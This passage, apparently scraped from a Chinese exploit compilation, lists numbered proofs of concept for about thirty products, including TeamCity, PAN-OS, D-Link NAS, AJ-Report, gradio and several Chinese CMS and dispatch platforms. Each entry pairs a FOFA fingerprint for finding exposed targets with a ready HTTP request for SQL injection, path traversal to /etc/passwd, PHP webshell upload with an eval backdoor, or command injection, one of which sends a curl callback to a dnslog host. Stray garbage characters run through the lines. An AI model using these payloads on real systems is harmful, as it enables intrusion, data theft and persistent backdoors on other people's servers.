GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
! E% h1 i3 ^- P2 Q; `Host: x.x.x.x
1 t+ w+ V7 L) p# L. c$ vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
! J$ ?2 m% B) dAccept-Encoding: gzip, deflate
7 y" N- B  G* _/ F6 l/ T3 F/ BConnection: close

# h3 g8 ]6 Y8 N! A0 }
3 K6 L7 X5 W6 S( a! v* q- z第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
+ L6 I* H8 S. Q4 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
2 P, K9 _, D1 D" L% ~Connection: close
6 l$ C' u, d/ m7 O/ \uuid: 85f60018-a654-4410-a783-f81cbd5000b9
: ?6 H  w7 u# D4 K
. g4 Y2 n+ N. k% t5 l* S4 K! S! W' e
130. Laykefu客服系统任意文件上传
$ ~" N) h% t: K1 F! vFOFA：icon_hash="-334624619"
2 g* d1 M/ U$ n, v- j6 ~9 k. e! sPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
/ ]. Y2 v% ]4 n$ g0 R& E: ~/ eX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
, s3 O- ?  y- \6 I6 PAccept-Language: zh-CN,zh;q=0.9
4 x+ Q/ l: h/ o1 l: mCookie: user_name=1; user_id=3
Connection: close

6 {8 X6 s0 W- E( Y) Y8 n------WebKitFormBoundary3OCVBiwBVsNuB2kR
$ {: d- G' ]  z0 W; V0 P7 aContent-Disposition: form-data; name="file"; filename="1.php"
% B0 b8 P4 @, I! a+ V- H2 rContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
6 R- b- ^1 P- m$ k- d. ^

) B" s% p8 ?2 T# k131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
0 `  }& y% W0 ^2 O" {( zhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

) u8 m* Q. t. m0 n132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
. A' M# O: ]: ?+ b5 K; Z1 e% B: o" FFOFA：body="Log in to TeamCity"
2 ~2 H' T9 P; {5 `4 X1 A) FPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
7 ~% O, \4 e& q+ o/ HHost: 192.168.40.130:8111
" }: d; n4 h3 L: t# e* n# X( nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, K1 k) F: X' w- d% d: `0 C  c/ aAccept: */*
Content-Type: application/json
8 w, n) A$ V6 b) e& B- UAccept-Encoding: gzip, deflate
1 A! ]4 \& j5 t) ~: P1 Z3 B
' b4 z4 Y8 n8 u6 H8 Q' t! O{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
" x0 ?6 K- f/ Z# e' n& f; C

CVE-2024-27199
2 u! [6 B; R' ]' Q9 D" V8 B8 u/res/../admin/diagnostic.jsp
/ m4 b4 E7 D; R' r$ s' v/ [8 c0 h/.well-known/acme-challenge/../../admin/diagnostic.jsp
5 b0 A9 b4 D: `9 L/update/../admin/diagnostic.jsp


6 \0 m: }  E4 c0 G# }CVE-2024-27198-RCE.py

3 v7 X& E. W  M7 c% C  W133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
4 [4 |% A$ u) A* yHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 x" a, d: `" u( T; _+ D% CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

' s' \/ u+ R# O7 w+ d8 U' Z2 s<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

5 z% N6 \' {) Q" ]- m5 u+ O6 u

134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
- F; V6 |; v$ E7 j2 N! u* z8 C# R! u4 H1 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
' m. P* x4 G! t7 {' `' i; h/ `Accept: */*
/ o: S# f+ _- M% p7 I5 I  J- OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
( O8 @# _0 }# F4 x+ S- s  ?Sec-Fetch-Mode: cors
1 [% W& H! T3 Y1 M7 }! D; hSec-Fetch-Site: same-origin
: a0 q% M8 a, P7 o  j& lTe: trailers
Connection: close
$ h5 L& H+ q( \( z# GContent-Type: application/x-www-form-urlencoded
' G9 o" h( G. r$ o. J4 V# SContent-Length: 263
# Q$ s$ e% ?7 r, P3 O
! r+ v9 D( Q4 D' o- Q0 J$ x8 wjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
: u$ c8 g# A% e8 X2 E- r3 i4 n! z
5 h3 m, ^* V- w# i3 I/ r  F/ t
2 b. R1 E; k. K7 L135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
; c+ Q( T- A' i5 i$ ]0 RFOFA：app="网康科技-NS-ASG安全网关"
) Y# [0 ^( ^5 WGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* T# P4 A3 `4 Y+ W7 X7 a5 _2 t4 vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; J& r& o3 q0 R& B

" O/ |. Y4 p7 v+ m136. NextChat cors SSRF
9 y& ^4 Z% g. C8 a8 ACVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
6 W& r9 a9 ^7 ?# z8 AHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- ?/ ?+ h9 d" Z( I, FConnection: close
: o/ x, h5 x0 v( f: tAccept: */*
Accept-Language: en
& g( y; P9 e2 G  _, eAccept-Encoding: gzip
% m& N& o0 F# N) g: K* u% I! y) ?
( |5 T" x# z( }, y# V1 n& e% o
* _7 r( _- C- v; b7 d137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ I& b! F0 f' l0 c* g3 \2 IGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" M3 g) j/ }7 O; d' nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 i% n0 O1 B& Q+ u# G) WAccept-Encoding: gzip, deflate, br
+ Y& F# W$ Q4 m0 f8 RConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 G+ r- V( y+ O  Y  }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% I- @) U2 J/ R  W2 |3 WAccept-Encoding: gzip, deflate, br
Connection: close
+ V. E! ~4 p+ r9 l+ Q9 h" c! eUpgrade-Insecure-Requests: 1
) i- d$ R# p8 Y3 {7 b& i( W

1 d" e& l8 Y5 e7 D" F& f* F139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
+ v0 F9 r- Z& q6 I  a& Z6 e0 d1 y5 NFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
* y' j$ W4 ], k( g$ B# eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! o  Y; T( @$ t6 T& |Accept-Encoding: gzip, deflate, br
) a& d4 p2 N) h$ TConnection: close
3 ?# A# d1 U6 N, I3 ^$ [Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
, S  t" F* D, a+ [8 q/ s7 gUpgrade-Insecure-Requests: 1


' |; U' g" W" q& z8 j$ ]140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" i. [. l; r' k. OGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
2 }9 r9 P: J6 F: a/ |; A  B4 v3 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ R( ~$ n2 d9 ?& o/ _) \3 A0 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" U* y! Q, B  xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
) P& j$ s  [: ^Connection: close
  L" L4 J7 u* Z  U3 XCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
0 h" G, V6 V" V7 }& e
+ r% E( v& U8 V. S" o
9 z7 x) q/ x  U& G5 {. Y4 V; X% v2 E141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
% r  v* ?: ]# z0 k$ ]8 @* KFOFA：body="指挥调度管理平台"
- R6 a6 L/ ~9 U5 C+ q. J: sPOST /app/ext/ajax_users.php HTTP/1.1
! L/ Y3 L% E$ s; `4 MHost: your-ip
9 A* i  [# U/ \% gUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
! P; H/ _3 k- h. O8 o/ ZContent-Type: application/x-www-form-urlencoded
) y, X  K; V# _4 T; {
! f% U" G" A0 J# B5 u
' p/ C; z: U+ S1 H* Y0 Q3 xdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
8 f/ g7 r+ |( b  w, }( qCVE-2024-29666
FOFA：body="/808gps/"
( Z) b2 U+ l' wadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
: |- \+ y4 c* [# bFOFA：title='AP setup' && header='netis'
PAYLOAD
( b8 j. `$ {  s" f
. P) @! t- M( _  }5 v144. D-Link nas_sharing.cgi 命令注入
# t7 A& w: ^$ k4 D: j" G7 qFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
# S( |1 ^6 ?* k6 n" K$ h6 d! ?3 XHost: x.x.x.x
7 h1 s* R, R9 p+ WUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
- b! B2 d% C/ s! zAccept: */*
Accept-Language: en
8 I, y6 r3 u2 u# qAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
6 j9 w7 I% K' }9 l% B' ]( fFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
) c3 C0 h" D7 m! c8 D# {6 LHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
) Q8 F% ^# j, X* l7 b- @6 y1 TAccept-Encoding: gzip

1 N1 Q: h/ t# \
) {  L( P/ c' s, X9 b0 ~146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
. y+ M0 {. ^( J4 {$ u. `7 a! r0 MFOFA：app="MajordomoSL"
8 r) K  q) m# h9 I$ t( }GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
! u* x0 o) e$ s' THost: x.x.x.x
2 t/ E% u  s7 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
' I( q1 d6 Q& j( J$ AAccept-Encoding: gzip, deflate
Connection: close
& F" T0 D$ Z- ]5 l
4 P% ?$ _  m# [5 m1 Q) v' V6 }4 j3 X
6 L6 i3 t8 O* f; ]147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
% i2 J4 c3 y$ h. f( b$ cFOFA：body="RaidenMAILD"
8 k- v2 l5 l* S. e2 t4 rGET /webeditor/../../../windows/win.ini HTTP/1.1
  _# N; A  s0 t1 o" m0 dHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

" K: g+ V) h) l
. @* j# b# p) q' X7 m/ _148. CrushFTP 认证绕过模板注入
  b# K8 c$ ?3 s& u' `( b0 aCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
+ Q5 q0 ?1 v6 G3 r1 y7 W/ P# @6 I6 [
* J2 p4 v7 `4 GPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
' u+ ]7 x- \# }) k. a. B- ^Host: x.x.x.x
* K8 U7 S, n  wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! L, I( X2 v- p7 J5 KAccept-Encoding: gzip, deflate, br
; c1 K* Y' g4 hAccept-Language: zh-CN,zh;q=0.9
- S8 T& O  s! g/ q. V: KContent-Type: application/json;charset=UTF-8
- L- k0 Q/ V) s: e, H8 C$ NConnection: close
0 [/ s7 t+ ?, Z! f3 ]
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
) f9 {* Z; p, l- B7 h
150. AJ-Report 1.4.0 认证绕过与远程代码执行
4 ~7 u! J7 m( B* CFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% n' g# i  M- l6 o' c9 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
, Q5 I2 q1 R' }! H5 @Accept-Language: zh-CN,zh;q=0.9
2 m$ U& B( _; k3 i+ O3 P! CContent-Type: application/json;charset=UTF-8
Connection: close
2 ]! a$ n% k, Q1 `' @5 G- b. E5 tContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


) s$ ?1 T0 q+ [. @151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
  {% H% G3 P1 Q# |' f! t! w0 d4 @# R; GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; [8 P4 }# ]. |2 WConnection: close
- d6 t$ C6 u: i- e5 @Accept-Encoding: gzip

. X* @: W$ S4 @5 Y, {% M4 K" ]
152. Progress Kemp LoadMaster 远程命令执行
8 Q+ W) K: O+ E7 `CVE-2024-1212
: g2 d8 d$ A' H& dLoadMaster <= 7.2.59.2 (GA)
9 F8 k$ V$ B* A3 gLoadMaster<=7.2.54.8 (LTSF)
, w' O% h3 Y- t: tLoadMaster <= 7.2.48.10 (LTS)
" o: @: o  x! UFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
& T! j% {" b8 V5 @0 j6 lGET /access/set?param=enableapi&value=1 HTTP/1.1
, v( g& J( N9 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
- @# P( Y& r! d5 J7 IConnection: close
: ~/ @$ L- ?  w' uAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
  g5 c3 O4 f# u3 C$ I4 X& q, {Accept-Encoding: gzip
$ P5 j' u4 n! E9 I7 E# q9 c

153. gradio任意文件读取
' K/ U% o5 S1 t6 m8 lCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
8 h7 T' [) a$ n5 S2 ~/ q- Q
& _% l9 V0 r( h( u
第二步，将/etc/passwd的内容写入到一个临时文件
% b) x0 h0 X# T1 \POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
) Q% a+ _5 _4 e* i! l& }4 i/ FConnection: close
Content-Length: 115
Content-Type: application/json
6 {) b. D6 z8 F0 ?: tAccept-Encoding: gzip
# R8 g+ E+ u+ u$ m9 ^; Q1 W! I
( z: @! u- U4 w9 H, M3 ?6 E{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

+ H0 k% Y9 u# b0 a8 L" a) {
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

5 ]/ s# Y) L1 c* T2 n8 j- W. o
154. 天维尔消防救援作战调度平台 SQL注入
: T. H# o- i1 j0 CCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
( ]( z8 t" x+ t$ y; A9 cPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
+ D% U% F  G" Y( c/ A0 f7 BContent-Length: 106
' k9 Q! K' S. f4 SCache-Control: max-age=0
3 |. i6 M5 g$ }+ `: e5 j& f5 |& ~Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
- W; {0 K( }- c8 Y; wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
& i3 R9 u4 s" q5 ~7 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
3 s: X7 p# o: d7 bAccept-Encoding: gzip, deflate
9 Q; i+ F  @1 a* B1 NAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

4 o& N* A. |+ ]. b) `1 U& q. @{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
% v; [" H: {8 O6 s4 sCVE-2024-34982
) M# A! v2 L% R# C0 z9 C+ r1 qFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
6 c8 t9 e- G3 H# G, v4 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; s6 W! e! E: C; x9 @3 u  v: zConnection: close
Content-Length: 232
. r" G* v: V( D( f$ v7 O- }Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
% e6 _* ^" J/ z2 k5 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# [6 m/ t2 e. ^8 R- Z+ OContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
4 N0 `# J" J# x% A
-----------------------------qttl7vemrsold314zg0f
2 [2 x5 D* c" j/ R/ c: OContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

# a9 D* @' m, J2 G1 f+ S<?php phpinfo();unlink(__FILE__);?>
5 ]9 b; s+ P) A+ h. Z/ g- u-----------------------------qttl7vemrsold314zg0f--
$ E% V( H; k8 T' x
1 w9 {5 x% p0 p# R+ f- M
! D! N* i* b) U+ }- ^0 n访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

4 A' d, f: Y- i6 F156. TBK DVR-4104/DVR-4216 操作系统命令注入
- h4 j3 ?5 ]$ hCVE-2024-3721
# b$ R: s  W% N% X6 e& D$ eFOFA："Location: /login.rsp"
7 D) L% p& _. _3 ~·TBK DVR-4104
  }2 {2 j! O5 f) d+ x·TBK DVR-4216
0 p2 Y' J2 W2 M6 n2 D$ e; s9 zcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
! f) ^) N/ e1 e0 d' J
. p$ B, R2 C7 ^' b3 e: |
, j+ [6 j( w/ K; y, dPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
' R0 L: @! s6 W6 @$ w* I# }Host: x.x.x.x
6 Z* x9 E: S7 b7 a( a- q; Y6 W5 aUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: E; ^: D( D9 F% W2 j7 lContent-Length: 0
Cookie: uid=1
! B. E) M6 v* f$ R, W( [/ rAccept-Encoding: gzip

2 w. G9 W* `. m+ F' }* M/ t
1 n% e- @2 v  s* f; p) A157. 美特CRM upload.jsp 任意文件上传
) W. W/ A+ R9 U3 MCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
* S8 c0 ^/ G6 C$ @) l5 ?: ^  wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 d* t0 h4 F* v$ gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# K8 \0 R1 G# i$ N+ y& u7 ?Cache-Control: max-age=0
* u1 r* @7 e3 B5 MConnection: close
* u1 \9 z0 r' uContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
  [4 F3 Q$ p3 T, d% x: i/ sUpgrade-Insecure-Requests: 1
& T0 n/ S: l% f) g4 w: P" _* d
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
0 U7 E, s( m3 C& n8 z# W1 iContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
$ c" D. o- c+ F+ J. b2 I9 [3 u3 z' X------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
5 K, V# P( ?( K5 I  r& V1 \1 [
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
+ _# z1 K$ x3 e/ t" M6 p
6 e  U0 w, p# u  fnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
9 ~4 Y7 `% ~* t1 z4 ], Q! j3 }3 g& N
null
+ W4 ?6 \  f% B7 q------WebKitFormBoundary1imovELzPsfzp5dN
/ u5 J6 B4 W! I; J! k2 \# K' UContent-Disposition: form-data; name="filetitile"
( `4 `% K$ R- O
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

% F; s7 n) A9 I% Y& r& {4 Xnull
------WebKitFormBoundary1imovELzPsfzp5dN--

! ]  k$ F5 d' \
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

0 P( J3 j$ P# p" H158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
4 l( Z) W. }( J- d6 P1 O& \+ }FOFA："Generator: Masa CMS"
% b, D; q' g% G( M$ a( V* qPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
2 f" g, Y$ t% o3 IHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

# `  U9 G5 ?+ h; t$ N. }7 }object=displayregion&contenthistid=x\'&previewid=1
, ~7 r$ y* l. F

7 _- ]' C2 K, s, [9 ?% A3 o159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
# b: h. R7 v: Z4 c/ T6 UFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
) K/ y# Y0 E4 S4 dPOST /webservices/WebJobUpload.asmx HTTP/1.1
